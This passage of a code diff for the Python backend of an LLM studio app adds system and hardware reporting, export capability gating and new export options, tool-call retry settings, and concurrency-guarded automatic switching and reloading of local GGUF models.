psutil.Process(os.getpid()) + process_used_mb = round(current_process.memory_info().rss / 1024**2) + except Exception as e: + logger.debug(f"Failed to get current process memory: {e}") + process_used_mb = 0 + + try: + boot_time = psutil.boot_time() + except Exception as e: + logger.debug(f"Failed to get boot time: {e}") + boot_time = None + + # Read versions from metadata so a 3s poll never imports heavy ML libs (or 500s on their import errors). + from importlib.metadata import PackageNotFoundError, version as pkg_version + + ml_packages = {} + for pkg in ("torch", "transformers"): + try: + ml_packages[pkg] = pkg_version(pkg) + except PackageNotFoundError: + pass + except Exception as e: + logger.debug(f"Failed to read {pkg} version: {e}") + return { "platform": platform.platform(), "python_version": platform.python_version(), - # _backend_label so /api/system reports "rocm" (not "cuda") on AMD, - # matching /api/hardware and /api/gpu-visibility. "device_backend": _backend_label(get_device()), - "cpu_count": psutil.cpu_count(), + "cpu_count": psutil.cpu_count(logical = True), + "uptime_seconds": max(0, round(time.time() - boot_time)) if boot_time else None, + "cpu": { + "logical_count": psutil.cpu_count(logical = True), + "physical_count": psutil.cpu_count(logical = False), + "usage_percent": psutil.cpu_percent(interval = None), + "frequency_mhz": round(cpu_freq.current, 2) + if cpu_freq and cpu_freq.current is not None + else None, + }, "memory": { - "total_gb": round(memory.total / 1e9, 2), - "available_gb": round(memory.available / 1e9, 2), + "total_gb": round(memory.total / 1024**3, 2), + "available_gb": round(memory.available / 1024**3, 2), "percent_used": memory.percent, + "process_used_mb": process_used_mb, + }, + "disk": { + "total_gb": round(disk.total / 1e9, 2) if disk else 0, + "free_gb": round(disk.free / 1e9, 2) if disk else 0, + "percent_used": disk.percent if disk else 0, }, "gpu": gpu_info, + "ml_packages": ml_packages, + # Export capability + torch-aware reason. See /api/system/hardware. + **export_capability(), } @@ -1105,11 +1242,13 @@ def get_hardware_info( method auto-selection. Sync def (not async): hardware/detail probes can shell out, and FastAPI runs sync endpoints in a threadpool. """ - from utils.hardware import get_gpu_summary, get_package_versions + from utils.hardware import get_gpu_summary, get_package_versions, export_capability body = { "gpu": get_gpu_summary(), "versions": get_package_versions(), + # Export capability + torch-aware reason; the Export UI grays out with the message. + **export_capability(), } if include_details: from utils.llama_cpp_update import get_installed_llama_version diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 7e05373f11..9dc4d9451a 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -6,7 +6,7 @@ from pathlib import Path, PureWindowsPath from pydantic import BaseModel, Field, field_validator -from typing import List, Optional, Literal, Dict, Any +from typing import List, Optional, Literal, Dict, Any, Union def _validate_save_directory(value: str) -> str: @@ -168,6 +168,15 @@ class ExportMergedModelRequest(ExportCommonOptions): description = "Export precision / format for the merged model. The compressed-tensors " "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).", ) + compressed_method: Optional[str] = Field( + None, + description = "Optional quantized-export alias. Either a compressed-tensors scheme " + "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) " + "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias " + "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. " + "When set, it overrides format_type. Lets the export UI expose the full set of formats " + "beyond the quick buttons.", + ) class ExportBaseModelRequest(ExportCommonOptions): @@ -189,9 +198,10 @@ class ExportGGUFRequest(BaseModel): def _check_save_directory(cls, v): return _validate_save_directory(v) - quantization_method: str = Field( + quantization_method: Union[str, List[str]] = Field( "Q4_K_M", - description = 'GGUF quantization method (e.g. "Q4_K_M")', + description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list ' + '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.', ) push_to_hub: bool = Field( False, @@ -219,4 +229,13 @@ class ExportGGUFRequest(BaseModel): class ExportLoRAAdapterRequest(ExportCommonOptions): """Request for exporting only the LoRA adapter (not merged).""" - # Uses fields from ExportCommonOptions only + gguf: bool = Field( + False, + description = "If True, also convert the adapter to a GGUF LoRA file " + "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.", + ) + gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field( + "q8_0", + description = "GGUF LoRA output float type (only used when gguf=True). " + "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).", + ) diff --git a/studio/backend/models/inference.py b/studio/backend/models/inference.py index 4a3162b09e..31c100dbec 100644 --- a/studio/backend/models/inference.py +++ b/studio/backend/models/inference.py @@ -780,6 +780,16 @@ class ChatCompletionRequest(BaseModel): True, description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.", ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = ( + "[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the " + "model emitted a tool signal that healing could not repair, retry ONCE with " + "a short nudge appended (the retry shares the full prompt prefix, so the " + "server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips " + "the process default." + ), + ) context_overflow: Optional[Literal["error", "truncate_middle"]] = Field( None, description = ( @@ -1612,6 +1622,14 @@ class AnthropicMessagesRequest(BaseModel): False, description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.", ) + auto_heal_tool_calls: Optional[bool] = Field( + True, + description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).", + ) + nudge_tool_calls: Optional[bool] = Field( + None, + description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).", + ) model_config = {"extra": "allow"} @model_validator(mode = "before") diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index cf2cb2fa70..a7fd7cbec7 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -46,6 +46,23 @@ router = APIRouter() logger = get_logger(__name__) +def _ensure_export_supported() -> None: + """Reject a mutating export request up front (HTTP 400) when the host can't export. + + Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints + (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason. + """ + from utils.hardware import export_capability + + cap = export_capability() + if not cap.get("export_supported", True): + raise HTTPException( + status_code = 400, + detail = cap.get("export_unsupported_message") + or "Export is not supported on this platform.", + ) + + @router.post("/load-checkpoint", response_model = ExportOperationResponse) async def load_checkpoint( request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject) @@ -58,6 +75,7 @@ async def load_checkpoint( a clear error instead of tearing down the user's other running workloads. """ try: + _ensure_export_supported() backend = get_export_backend() # Run in a worker thread (spawns and waits on a subprocess, can take # minutes) so the event loop stays free to serve the live log SSE stream. @@ -266,6 +284,7 @@ async def export_merged_model( Wraps ExportBackend.export_merged_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_merged_model, @@ -275,6 +294,7 @@ async def export_merged_model( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + compressed_method = request.compressed_method, ) if not success: @@ -304,6 +324,7 @@ async def export_base_model( Wraps ExportBackend.export_base_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_base_model, @@ -342,6 +363,7 @@ async def export_gguf( Wraps ExportBackend.export_gguf. """ try: + _ensure_export_supported() backend = get_export_backend() # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download. imatrix_file = request.imatrix_path or (True if request.imatrix else None) @@ -382,6 +404,7 @@ async def export_lora_adapter( Wraps ExportBackend.export_lora_adapter. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_lora_adapter, @@ -390,6 +413,8 @@ async def export_lora_adapter( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + gguf = request.gguf, + gguf_outtype = request.gguf_outtype, ) if not success: diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 9caacec61b..17be222d93 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -19,6 +19,7 @@ import httpx from loggers import get_logger import asyncio import threading +import weakref import re as _re @@ -164,6 +165,26 @@ def _friendly_error(exc: Exception) -> str: return "An internal error occurred" +def _friendly_upstream_error(text: str) -> str: + """Rewrite a raw llama-server error body into an actionable message where we can. + + The main case is a tool-calling grammar that llama-server can't compile ("failed to + parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as + a hard 400 on every tool-bearing turn. It is a llama-server limitation with some + model/quant + tool-schema combinations, and recent llama.cpp builds handle the common + coding-agent tools, so point the user at updating Studio rather than the raw body. + """ + lowered = text.lower() + if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered: + return ( + "The model couldn't compile a tool-calling grammar for this request. This is a " + "llama-server limitation with some model/quant and tool-schema combinations. " + "Update Studio (it installs the latest llama.cpp, which handles the common " + "coding-agent tools) or try a different GGUF model." + ) + return f"llama-server error: {text}" + + def _clamp_finish_reason(value) -> str: """Coerce an upstream finish_reason into OpenAI's known chat values. @@ -277,8 +298,8 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException": """HTTPException for a non-200 upstream response on the OpenAI passthrough (tools / response_format). An over-context upstream error is mapped to a 400 with code="context_length_exceeded" so these paths deliver the same signal as - the non-passthrough path; any other upstream error keeps llama-server's - message verbatim.""" + the non-passthrough path; a tool-grammar compile failure gets the same actionable + guidance as the Anthropic passthrough; any other upstream error stays verbatim.""" if _classify_llama_generation_error(Exception(text)): return HTTPException( status_code = 400, @@ -291,7 +312,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException": ) return HTTPException( status_code = status_code, - detail = f"llama-server error: {text[:500]}", + detail = _friendly_upstream_error(text[:500]), ) @@ -763,6 +784,7 @@ def _set_stream_response_read_timeout( _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25 +_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1 class _CompatSameTaskTimeout: @@ -1114,6 +1136,16 @@ from core.inference.key_exchange import decrypt_api_key from core.inference.model_ids import public_model_id from core.inference.api_monitor import api_monitor from core.inference.llama_http import nonstreaming_client +from core.inference.passthrough_healing import ( + StreamToolCallHealer, + heal_gate, + heal_openai_message, + heal_openai_message_events, + nudge_enabled, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) from core.inference.providers import get_base_url from core.inference.external_provider import ExternalProviderClient from core.inference.chat_templates import resolve_effective_chat_template_override @@ -2266,6 +2298,411 @@ def get_llama_cpp_backend() -> LlamaCppBackend: return _llama_cpp_backend +# Serializes opt-in auto-switch loads so two requests can't race a swap. One +# lock per running loop, since a module-level asyncio.Lock binds to a single +# loop and breaks multi-loop runners (e.g. pytest's per-test loops on pre-3.10). +_auto_switch_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_auto_switch_locks_guard = threading.Lock() + + +def _auto_switch_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + # WeakKeyDictionary mutation isn't thread-safe; guard get-or-create so two + # loops on different threads can't race it. + with _auto_switch_locks_guard: + lock = _auto_switch_locks.get(loop) + if lock is None: + lock = _auto_switch_locks[loop] = asyncio.Lock() + return lock + + +# Process-wide gate so a swap on another event loop in this process can't race +# this one for the single model slot: the asyncio lock above is per loop, but the +# backend slot and _load_model_impl are process-wide. threading.Lock so it serializes +# across loops/threads; released from the loop thread (Lock allows cross-thread release). +_auto_switch_process_lock = threading.Lock() + + +async def _acquire_swap_gate() -> None: + # Non-blocking first for the common single-loop case; otherwise poll off a + # short sleep rather than awaiting to_thread(acquire). A cancelled to_thread + # (client disconnect mid-wait) leaves its worker thread still acquiring, so the + # gate gets taken but the finally that releases it never runs -- deadlocking + # later swaps. Polling keeps the wait off this loop AND cancellation-safe: a + # cancel lands during the sleep, when the gate is not held. + while not _auto_switch_process_lock.acquire(blocking = False): + await asyncio.sleep(0.02) + + +# Counts in-flight auto-switch requests per (target, variant). The busy guard +# subtracts same-target waiters so concurrent requests for one model load once +# instead of each 409-ing the other. +_auto_switch_waiters: dict[tuple[str, str], int] = {} +_auto_switch_waiters_guard = threading.Lock() + + +def _switch_key(override_id: str, variant: Optional[str]) -> tuple[str, str]: + return (override_id.lower(), (variant or "").lower()) + + +def _note_switch_waiter(key: tuple[str, str], delta: int) -> None: + with _auto_switch_waiters_guard: + n = _auto_switch_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_waiters[key] = n + else: + _auto_switch_waiters.pop(key, None) + + +def _same_target_waiters(key: tuple[str, str]) -> int: + with _auto_switch_waiters_guard: + return _auto_switch_waiters.get(key, 0) + + +# A second waiter map keyed by the raw requested model, registered before the +# (slow) resolve. The middleware counts a concurrent same-model request as +# in-flight before it resolves and joins _auto_switch_waiters, so without this +# the first request would see it as an unrelated request and 409. +_auto_switch_request_waiters: dict[str, int] = {} +_auto_switch_request_waiters_guard = threading.Lock() + + +def _request_waiter_key(requested_model: str) -> str: + return requested_model.strip().lower() + + +def _note_request_waiter(key: str, delta: int) -> None: + with _auto_switch_request_waiters_guard: + n = _auto_switch_request_waiters.get(key, 0) + delta + if n > 0: + _auto_switch_request_waiters[key] = n + else: + _auto_switch_request_waiters.pop(key, None) + + +def _same_request_waiters(key: str) -> int: + with _auto_switch_request_waiters_guard: + return _auto_switch_request_waiters.get(key, 0) + + +def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]: + """The id to report for the loaded GGUF in API responses: the advertised repo + id from an auto-switch load, else the cleaned public id, never the on-disk + .gguf path (see core.inference.model_ids.public_model_id).""" + return ( + getattr(llama_backend, "_openai_advertised_id", None) + or public_model_id(getattr(llama_backend, "model_identifier", None)) + or public_model_id(fallback) + or fallback + ) + + +_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY = "_unsloth_disable_openai_auto_switch" +# Sentinel a raw-body endpoint passes when the request omits ``model``: it must +# only restore an idle-freed model, never run the resolver (so a downloaded GGUF +# literally named "default" can't be swapped to). The NUL keeps it off any index. +_RELOAD_ONLY_MODEL = "\x00reload-only" + + +def _switch_model_for_payload(payload) -> str: + # A pydantic request fills an omitted ``model`` with "default"; only an + # explicitly set model may switch, else reload-only so a GGUF named "default" + # is never matched (mirrors the raw-body sentinel path). + return payload.model if "model" in payload.model_fields_set else _RELOAD_ONLY_MODEL + + +def _target_is_vision(load_path: str) -> bool: + # A local GGUF's vision capability is its companion mmproj, a filesystem check + # (no model load). Matches the loaded backend's is_vision, so rejecting a swap + # here can't differ from the post-load guard. Thread the ambient HF token so the + # probe keeps the capability-probe invariant (the resolver only yields local + # paths, where the token is unused, but the rule requires it regardless). + from utils.models.model_config import is_vision_model + try: + return bool(is_vision_model(load_path, hf_token = os.environ.get("HF_TOKEN"))) + except Exception as exc: + # Detection failure: don't block the swap, let the load decide. + logger.debug("auto-switch: vision probe failed for %s: %s", load_path, exc) + return True + + +def _messages_have_image(messages) -> bool: + return any( + isinstance(m.content, list) and any(isinstance(p, ImageContentPart) for p in m.content) + for m in messages + ) + + +def _request_has_image(payload) -> bool: + if getattr(payload, "image_base64", None): + return True + return _messages_have_image(payload.messages) + + +def _anthropic_request_has_image(payload) -> bool: + # Mirror anthropic_messages_to_openai: an Anthropic image block carries + # ``type == "image"`` (typed AnthropicImageBlock or a raw dict). + for msg in getattr(payload, "messages", None) or []: + content = getattr(msg, "content", None) + if not isinstance(content, list): + continue + for block in content: + bt = block.get("type") if isinstance(block, dict) else getattr(block, "type", None) + if bt == "image": + return True + return False + + +def disable_openai_auto_switch_for_request(scope) -> None: + """Opt a request out of OpenAI auto-switch. The public preview route uses this: + it always serves its pinned checkpoint, so a caller-supplied model must never + swap the loaded model.""" + if isinstance(scope, dict): + scope[_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY] = True + + +def _automatic_model_load_may_run() -> bool: + """True when a request can trigger an automatic load: either resolver-based + auto-switch is on, or a standalone idle TTL can reload an idle-freed model. The + validate-before-switch guards key off this so an invalid request never loads.""" + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + ) + return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0 + + +async def _maybe_auto_switch_model( + requested_model: Optional[str], + fastapi_request: Request, + current_subject: str, + *, + require_vision: bool = False, +) -> None: + """Load a downloaded local GGUF named by an OpenAI request when auto-switch is on. + + No-op unless enabled and ``requested_model`` resolves to a downloaded local + model different from the loaded one. Unknown names fall through (drop-in + compat) and no remote download is triggered. ``require_vision`` rejects a swap + to a text-only target before it runs, so an image request can't evict the + resident vision model only to 400 afterwards. + """ + from utils.openai_auto_switch_settings import ( + get_openai_auto_switch_enabled, + get_auto_unload_idle_seconds, + get_model_override, + ) + from core.inference.local_model_resolver import resolve_local_gguf + from core.inference.llama_keepwarm import ( + get_last_unloaded_model, + other_inference_request_count, + inference_lifecycle_gate, + ) + + # Treat a non-string model (e.g. {"model": 123} on a raw-body endpoint) as + # absent so it falls through instead of raising in the membership checks below. + if not isinstance(requested_model, str) or not requested_model: + return + # The public preview route opts out so a caller cannot switch away from the + # pinned preview checkpoint it just loaded. + scope = getattr(fastapi_request, "scope", None) + if isinstance(scope, dict) and scope.get(_DISABLE_OPENAI_AUTO_SWITCH_SCOPE_KEY): + return + auto_switch_on = get_openai_auto_switch_enabled() + # The reload-stash path also runs when idle-unload is active on its own (a + # standalone UNSLOTH_MODEL_IDLE_TTL with auto-switch off), so a model the idle + # loop freed is restored on the next request. The resolver-based switch still + # requires the auto-switch toggle. + if not auto_switch_on and get_auto_unload_idle_seconds() <= 0: + return + + # Register by the raw requested model before resolving (which can be slow): + # the middleware already counts a concurrent same-model request as in-flight, + # so the busy guard must know it shares this target even while it resolves. + request_key = _request_waiter_key(requested_model) + _note_request_waiter(request_key, 1) + try: + # Off the loop: a cold-cache rebuild walks several model dirs + HF caches. + # With auto-switch off (or an omitted-model reload-only request), skip the + # resolve so only the reload-stash path runs and no name is ever matched. + reload_only = requested_model == _RELOAD_ONLY_MODEL + resolved = ( + await asyncio.to_thread(resolve_local_gguf, requested_model) + if auto_switch_on and not reload_only + else None + ) + if resolved is None: + # Idle-unload may have freed the model; reload exactly what it freed + # (path + quant + advertised id) so an alias/unknown name stays servable + # and keeps the override keyed by the advertised id, not the load path. + last = get_last_unloaded_model() + # A non-GGUF (Unsloth/Transformers) model loaded after the idle-unload + # leaves the GGUF slot empty but is the live model, so don't resurrect + # the stale GGUF over it (that load would tear the active model down). + if ( + not last + or get_llama_cpp_backend().is_loaded + or getattr(get_inference_backend(), "active_model_name", None) + ): + return + if len(last) == 3: + target_id, variant, override_id = last + else: # pre-3-tuple stash: fall back to the path as the override key + target_id, variant = last + override_id = target_id + else: + # load_path is a concrete local path (never the bare repo id), so /load + # takes the local branch and cannot trigger a download. override_id is the + # advertised repo id, the launch-override key and the public model id. + target_id, variant, override_id = resolved + backend = get_llama_cpp_backend() + # A bare model id (no :VARIANT) is satisfied by any loaded quant of that + # repo, so it never reloads a different local quant that already serves it. + bare = ":" not in requested_model + + def _already_serving() -> bool: + # Match against both the concrete load path and the advertised repo id, + # so a model loaded manually by repo id (identifier = repo id) and one + # loaded by auto-switch (identifier = path, advertised = repo id) both + # count as already serving rather than triggering a needless reswap. + if not backend.is_loaded or not backend.model_identifier: + return False + loaded_keys = {backend.model_identifier.lower()} + advertised = getattr(backend, "_openai_advertised_id", None) + if advertised: + loaded_keys.add(advertised.lower()) + if loaded_keys.isdisjoint({target_id.lower(), override_id.lower()}): + return False + if bare: + return True + if variant: + loaded_variant = (getattr(backend, "hf_variant", None) or "").lower() + return loaded_variant == variant.lower() + return True + + def _record_serving_alias() -> None: + # When an advertised alias already resolves to the loaded model (e.g. a + # model loaded by local path, requested by its repo/LM Studio id), record + # the alias as the public id so /v1/models and responses report it (and + # mark it loaded) instead of the path-derived basename. Resolver branch + # only: the reload-stash override_id can be the bare path, not a repo id. + # Lock-free is safe here: an in-flight request blocks any concurrent swap + # (single-slot busy guard), so the loaded model can't change under this. + if resolved is None or not override_id: + return + b = get_llama_cpp_backend() + if getattr(b, "_openai_advertised_id", None) != override_id: + b._openai_advertised_id = override_id + + if _already_serving(): + _record_serving_alias() + return + # An image/audio request naming a different text-only GGUF would load it + # here and only 400 below, evicting the working model. Reject before the + # swap. Only the resolver branch (an explicit new target); the reload-stash + # path just restores the model the request was already using. Both vision and + # audio input come from a companion mmproj (a filesystem probe) -- run it off + # the loop, like the resolver above. + if ( + require_vision + and resolved is not None + and not await asyncio.to_thread(_target_is_vision, target_id) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "The requested model does not support the image or audio input in this request.", + status = 400, + code = "invalid_value", + param = "model", + ), + ) + key = _switch_key(override_id, variant) + _note_switch_waiter(key, 1) + try: + async with _auto_switch_lock(): + # The asyncio lock is per loop; add a process-wide gate so a swap on + # another loop in this process can't race the single slot. + await _acquire_swap_gate() + try: + # Hold the keep-warm gate across the swap so no new inference can + # start on the model while it is being torn down and replaced. + async with inference_lifecycle_gate(): + if _already_serving(): + _record_serving_alias() + return + # Single slot: refuse a cross-model swap while another inference + # request is active rather than killing its response. Requests + # heading to this same target (by resolved id or raw name) are + # excluded, so concurrent requests for one model load once. A + # pending request is still in the middleware, not generating, so + # it is not counted here. + same_others = max( + _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0 + ) + others = other_inference_request_count( + current_request_counted = True, include_pending = False + ) + # Not gated on the GGUF being loaded: _load_model_impl also + # tears down an active Unsloth backend before loading a GGUF, + # so refuse whenever any other inference request is in flight. + if others > same_others: + raise HTTPException( + status_code = 409, + detail = openai_error_body( + "Cannot switch models while another inference request is in progress.", + status = 409, + code = "model_switch_busy", + param = "model", + ), + ) + # Apply this model's saved launch flags so the swap honors the config. + override = get_model_override(override_id) + load_kwargs = {"model_path": target_id, "gguf_variant": variant} + if override.get("llama_extra_args") is not None: + load_kwargs["llama_extra_args"] = override["llama_extra_args"] + if override.get("max_seq_length") is not None: + load_kwargs["max_seq_length"] = override["max_seq_length"] + # Reuse the load impl so its dedup, tensor fallback, and threading + # apply. Call the impl directly: we already hold the lifecycle gate + # the /load route would otherwise take, so the route would deadlock. + await _load_model_impl( + LoadRequest(**load_kwargs), + fastapi_request, + current_subject, + ) + # Advertise the repo id (not the concrete load path) as the loaded + # model's public id and override key for /v1/models and idle stash. + get_llama_cpp_backend()._openai_advertised_id = override_id + finally: + _auto_switch_process_lock.release() + finally: + _note_switch_waiter(key, -1) + finally: + _note_request_waiter(request_key, -1) + + +async def _auto_switch_from_request_body(request: Request, current_subject: str): + """Run auto-switch from a raw-body endpoint's ``model`` without changing its + pre-feature status codes: a malformed/non-dict body yields no model (so an + unloaded backend still 503s, not 500), and the caller re-reads to surface the + original parse error after the loaded-state check. Returns the parsed body, or + None if it could not be parsed.""" + try: + body = await request.json() + except (json.JSONDecodeError, ValueError): + return None + if isinstance(body, dict): + # A raw-body client may omit ``model`` and rely on the loaded backend. Pass + # a reload-only sentinel so the idle-stash reload still runs (an idle-freed + # model is restored) without the resolver ever matching a real name. + model = body.get("model") or _RELOAD_ONLY_MODEL + else: + model = None + await _maybe_auto_switch_model(model, request, current_subject) + return body + + def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to 16-bit via adapter_config.json, so the guard sizes this, not the raw request.""" @@ -2508,6 +2945,15 @@ async def load_model( GGUF models load via llama-server (llama.cpp) instead of Unsloth. """ + # Hold the lifecycle gate across the load so idle auto-unload can't unload the + # model mid-load. Auto-switch calls _load_model_impl directly since it already + # holds this gate. + from core.inference.llama_keepwarm import inference_lifecycle_gate + async with inference_lifecycle_gate(): + return await _load_model_impl(request, fastapi_request, current_subject) + + +async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): from core.inference.llama_cpp import LlamaServerNotFoundError native_grant_backed = False @@ -2932,6 +3378,13 @@ async def load_model( logger.info( f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash now, not only on the next poll. + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() + # A plain load advertises its own identifier; auto-switch overwrites + # this with the repo id right after _load_model_impl returns. + llama_backend._openai_advertised_id = None # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type @@ -3033,6 +3486,13 @@ async def load_model( logger.info( f"Loaded model: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash: a manual load supersedes an idle-freed + # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch + # above; without this a non-GGUF load leaves a stale stash until the idle + # poll clears it (and never, while idle-unload is off). + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() # Load inference configuration parameters inference_config = load_inference_config(config.identifier) @@ -3363,6 +3823,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). """ + # A deliberate unload means "stay unloaded": drop any idle reload stash so the + # next /v1 request can't resurrect this model. The idle loop unloads via the + # backend directly (not this route), so clearing here never fights keep-warm. + from core.inference.llama_keepwarm import note_model_unloaded try: # Check if the GGUF backend has this model loaded or is loading it. llama_backend = get_llama_cpp_backend() @@ -3371,13 +3835,17 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge or is_registered_native_path_label(llama_backend.model_identifier, request.model_path) or not llama_backend.is_loaded ): + # A manual unload is a deliberate user action: tear down now even if a + # request is mid-stream (only the automatic idle loop defers to it). llama_backend.unload_model() + note_model_unloaded() logger.info(f"Unloaded GGUF model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) # Otherwise, unload from Unsloth backend backend = get_inference_backend() backend.unload_model(request.model_path) + note_model_unloaded() logger.info(f"Unloaded model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) @@ -3786,10 +4254,25 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] + # Restore an idle-evicted GGUF before selecting a backend: this path is + # keep-warm-tracked but had no reload hook, so a standalone idle TTL could + # unload an audio GGUF the next request then failed to restore. Validation + # above ran first, so an invalid request never triggers a reload. + # + # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap + # pre-load probe (the companion mmproj signal can't tell an audio projector + # from a vision one, and codec-based TTS ships no projector at all), so passing + # the client model through the resolver could load a text- or vision-only target + # and evict the working audio model before the audio backend check fails. Only + # the idle-stash restore runs here; switching TTS models is an explicit /load. + await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject) + # Pick backend — both return (wav_bytes, sample_rate) llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False): - model_name = public_model_id(llama_backend.model_identifier) + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend) gen = lambda: llama_backend.generate_audio_response( text = text, audio_type = llama_backend._audio_type, @@ -4815,6 +5298,12 @@ async def openai_chat_completions( # ── External provider routing ──────────────────────────────── # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth. if payload.provider_id or payload.provider_type: + # External provider: this request won't touch the local GGUF, so drop it + # from the keep-warm count or its in-flight stream would falsely block a + # concurrent local auto-switch with model_switch_busy. + from core.inference.llama_keepwarm import untrack_current_request + + untrack_current_request(request.scope) # Bypass Permissions suppresses the confirm gate, so do not reject a # request that sets both flags (effective confirm is then False). if ( @@ -4868,6 +5357,95 @@ async def openai_chat_completions( ), ) + # Reject a system-only chat before any automatic load so an invalid request + # never swaps or reloads the resident model (as /responses and /messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + # Parse once and reuse below. + _pre_parsed = None + _needs_vision = False + if _automatic_model_load_may_run(): + _pre_parsed = _extract_content_parts(payload.messages) + if not _pre_parsed[1]: + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) + # Reject confirm-without-stream local tool requests before the switch: the + # local tool path requires stream=true for the confirm gate, so this shape + # is invalid and must not evict the resident model first. Mirror that path's + # enablement exactly (_effective_enable_tools honors a CLI --enable-tools + # policy hard-override; mcp_enabled opens the tool loop on its own but still + # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced + # request would slip past this guard and only 400 after the swap. + from state.tool_policy import get_tool_policy as _get_confirm_tool_policy + + _confirm_cli_policy = _get_confirm_tool_policy() + if ( + payload.confirm_tool_calls + and not payload.bypass_permissions + and not payload.stream + and ( + _effective_enable_tools(payload) + or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False) + or bool(payload.enabled_tools) + or bool(payload.tools) + or bool(payload.openai_code_exec_container_id) + or bool(payload.anthropic_code_exec_container_id) + ) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "confirm_tool_calls requires stream=true for local tool execution.", + status = 400, + code = "invalid_request_error", + param = "confirm_tool_calls", + ), + ) + # Reject a malformed tool_choice forcing object before the switch: a + # {"type": "function", "function": {}} with no name would otherwise be + # forwarded to llama-server and rejected only after the model swapped. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_fn = _tc.get("function") + _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # Reject an oversized audio upload before the switch: the size cap is 